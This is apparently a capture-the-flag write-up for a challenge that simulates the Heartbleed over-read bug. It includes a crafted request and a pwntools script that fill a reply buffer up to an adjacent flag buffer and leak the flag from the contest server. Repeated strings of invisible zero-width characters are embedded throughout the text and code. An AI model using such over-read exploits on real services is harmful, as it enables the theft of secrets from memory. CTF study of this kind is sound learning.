← Back to Writeups
CUSTOMMediumpwn

pwn6xkcd

XESXOR9/2/20264 min read
#pwn#custom#medium#heartbleed_over_read#buffer_fill_to_secret#strtok_grammar_reversal#length_field_abuse#adjacent_global_leak

pwn6xkcd

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: heartbleed_over_read, buffer_fill_to_secret, strtok_grammar_reversal, length_field_abuse, adjacent_global_leak

Summary

Task: statically-linked x86-64 NX/no-PIE binary simulating the xkcd#1354 Heartbleed bug — a strtok request grammar lets you write a WORD into a reply buffer and echo len bytes of it. Solution: fill the reply buffer with 304 'A's right up to the adjacent flag global, then request 342 LETTERS so puts() over-reads past the written data into the flag memory and echoes it.

pwn6xkcd — pwn_spbctf

Description

xkcd#1354

Try to leak the flag!

Tier pwn6 "Добор", category Overflow. Author: Vlad Roskov (@mrvos). Remote: nc 109.233.56.90 11678, platform pwn.spbctf.ru.

The title is a direct reference to xkcd#1354, the comic explaining the Heartbleed bug — a classic buffer over-read where a length field is trusted blindly and the server echoes back more bytes than the client actually supplied, leaking adjacent memory.

xkcd.elf is a faithful simulator of that bug. The goal is to leak the flag, which the program reads from a flag file into a global buffer at startup. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Binary properties:

ELF 64-bit LSB executable, x86-64, statically linked, not stripped
NX enabled, No PIE (loaded at 0x400000), No RELRO, No canary

main @ 0x400f5e does the following:

  1. bzero(0x6b7470, 0x100) — clears the flag buffer.
  2. fopen64("flag", "r") then fread(0x6b7470, 1, 0x100, fp) — loads the FLAG into the global buffer at 0x6b7470.
  3. fgetln(stdin) — reads one request line from us.
  4. Parses the line with a strtok + strcasecmp grammar (strings recovered from .rodata):
    • strtok(line, "?") must equal "SERVER, ARE YOU STILL THERE", else "MALFORMED REQUEST" and exit.
    • strtok(NULL, '"') must equal " IF SO, REPLY ", else MALFORMED.
    • strtok(NULL, '"') → WORD → memcpy(0x6b7340, WORD, strlen(WORD)) into the reply buffer.
    • strtok(NULL, "(") discarded.
    • strtok(NULL, ")") → sscanf("%d LETTERS", &len).
    • buf[len] = 0; then if (len > strlen(0x6b7340)) puts("NICE TRY"); else puts(0x6b7340); ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug

The two globals are adjacent in .bss:

reply buffer : 0x6b7340
flag buffer  : 0x6b7470
delta        : 0x6b7470 - 0x6b7340 = 304 bytes

The reply buffer sits exactly 304 bytes before the flag buffer. The len field controls how many bytes puts() reads from the reply buffer — but puts() runs until a NUL byte, and len only NUL-terminates at buf[len]. So if the content is a contiguous non-NUL run that spans past the 304-byte boundary into the flag, puts() echoes the flag too. This is exactly Heartbleed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The guard

if (len > strlen(0x6b7340)) puts("NICE TRY") prevents simply asking for a huge length over empty memory. strlen measures the current contiguous content. So the over-read only works if the reply buffer is filled up to (and into) the flag so the contiguous string already extends through the secret:

  • Send a 304-byte WORD of As → memcpy fills the reply buffer right up to the flag's first byte. Now reply_buf + flag are one contiguous non-NUL run.
  • Request a len slightly larger than 304 so puts() over-reads into the flag. The guard caps len at the natural strlen of that contiguous run, so we can't ask for 500 (→ "NICE TRY"). len = 342 lands inside the live run and echoes the whole flag including the closing }. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Reverse the request grammar precisely from the .rodata strings, then send:

SERVER, ARE YOU STILL THERE? IF SO, REPLY "<304 A's>" (342 LETTERS)

The server echoes the 304 As followed immediately by the leaked flag bytes.

python
#!/usr/bin/env python3
# pwn6xkcd (event pwn_spbctf, xkcd#1354 Heartbleed over-read)
from pwn import *
import time, re

HOST, PORT = '109.233.56.90', 11678
DELTA = 0x6b7470 - 0x6b7340  # 304: reply buffer -> flag buffer distance

def send(wordlen, length):
    word = b'A' * wordlen
    req = b'SERVER, ARE YOU STILL THERE? IF SO, REPLY "' + word + b'" (%d LETTERS)' % length
    io = remote(HOST, PORT)
    io.sendline(req)
    time.sleep(0.7)
    data = io.recvall(timeout=5)
    io.close()
    return req, data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    # 304 'A' fills the reply buffer up to the flag start; the buf[len]=0 +
    # (len <= strlen) guard caps len at the natural content length. 342 captures
    # the whole flag including the closing '}'.
    for length in (342, 341, 340, 360, 330):
        req, data = send(DELTA, length)
        m = re.search(rb'spbctf\{[^}]*\}', data)
        if m:
            print('[+] REQUEST:', req.decode())
            print('[+] FLAG   :', m.group().decode())
            return
        time.sleep(35)  # remote rate-limit
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    main()

The len = 342 request returns the full flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍